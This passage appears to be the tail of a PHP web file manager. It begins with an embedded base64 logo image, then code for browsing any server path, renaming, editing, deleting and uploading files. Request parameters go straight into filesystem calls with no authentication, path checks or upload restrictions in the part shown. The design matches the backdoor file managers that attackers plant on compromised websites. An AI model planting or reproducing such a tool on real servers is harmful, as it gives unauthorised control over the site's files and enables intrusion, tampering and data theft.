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" width="90" height="90" alt=""></a>
');
$path = str_replace('\\', '/', PATH);
$paths = explode('/', $path);
foreach ($paths as $id => $dir_part) {
if ($dir_part == '' && $id == 0) {
$a = true;
echo "<a href=\"?p=/\">/</a>";
continue;
}
if ($dir_part == '')
continue;
echo "<a href='?p=";
for ($i = 0; $i <= $id; $i++) {
echo str_replace(":", "?", $paths[$i]);
if ($i != $id)
echo "?";
}
echo "'>" . $dir_part . "</a>/";
}
echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload File</button></a>
<a href="?"><button type="button" class="btn btn-dark">HOME</button></a>
</div>
</nav>');
if (isset($_GET['p'])) {
//fetch files
if (is_readable(PATH)) {
$fetch_obj = scandir(PATH);
$folders = array();
$files = array();
foreach ($fetch_obj as $obj) {
if ($obj == '.' || $obj == '..') {
continue;
}
$new_obj = PATH . '/' . $obj;
if (is_dir($new_obj)) {
array_push($folders, $obj);
} elseif (is_file($new_obj)) {
array_push($files, $obj);
}
}
}
echo '
<table class="table table-hover">
<thead>
<tr>
<th scope="col">Name</th>
<th scope="col">Size</th>
<th scope="col">Modified</th>
<th scope="col">Perms</th>
<th scope="col">Actions</th>
</tr>
</thead>
<tbody>
';
foreach ($folders as $folder) {
echo " <tr>
<td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
<td><b>---</b></td>
<td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td>
<td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
<td>
<a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
<a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
<td>
</tr>
";
}
foreach ($files as $file) {
echo " <tr>
<td>" . fileIcon($file) . $file . "</td>
<td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
<td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td>
<td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
<td>
<a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
<a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
<a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
<td>
</tr>
";
}
echo " </tbody>
</table>";
} else {
if (empty($_GET)) {
echo ("<script>window.location.replace('?p=');</script>");
}
}
if (isset($_GET['upload'])) {
echo '
<form method="post" enctype="multipart/form-data">
Select file to upload:
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" class="btn btn-dark" value="Upload" name="upload">
</form>';
}
if (isset($_GET['r'])) {
if (!empty($_GET['r']) && isset($_GET['q'])) {
echo '
<form method="post">
Rename:
<input type="text" name="name" value="' . $_GET['r'] . '">
<input type="submit" class="btn btn-dark" value="Rename" name="rename">
</form>';
if (isset($_POST['rename'])) {
$name = PATH . "/" . $_GET['r'];
if(rename($name, PATH . "/" . $_POST['name'])) {
echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
} else {
echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
}
}
}
}
if (isset($_GET['e'])) {
if (!empty($_GET['e']) && isset($_GET['q'])) {
echo '
<form method="post">
<textarea style="height: 500px;
width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
<br>
<input type="submit" class="btn btn-dark" value="Save" name="edit">
</form>';
if(isset($_POST['edit'])) {
$filename = PATH."/".$_GET['e'];
$data = $_POST['data'];
$open = fopen($filename,"w");
if(fwrite($open,$data)) {
echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
} else {
echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
}
fclose($open);
}
}
}
if (isset($_POST["upload"])) {
$target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
} else {
echo "<p>Sorry, there was an error uploading your file.</p>";
}
}
if (isset($_GET['d']) && isset($_GET['q'])) {
$name = PATH . "/" . $_GET['d'];
if (is_file($name)) {
if(unlink($name)) {
echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
} else {
echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
}
} elseif (is_dir($name)) {
if(rmdir($name) == true) {
echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
} else {
echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
}
}
}
?>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
crossorigin="anonymous"></script>
</body>
</html>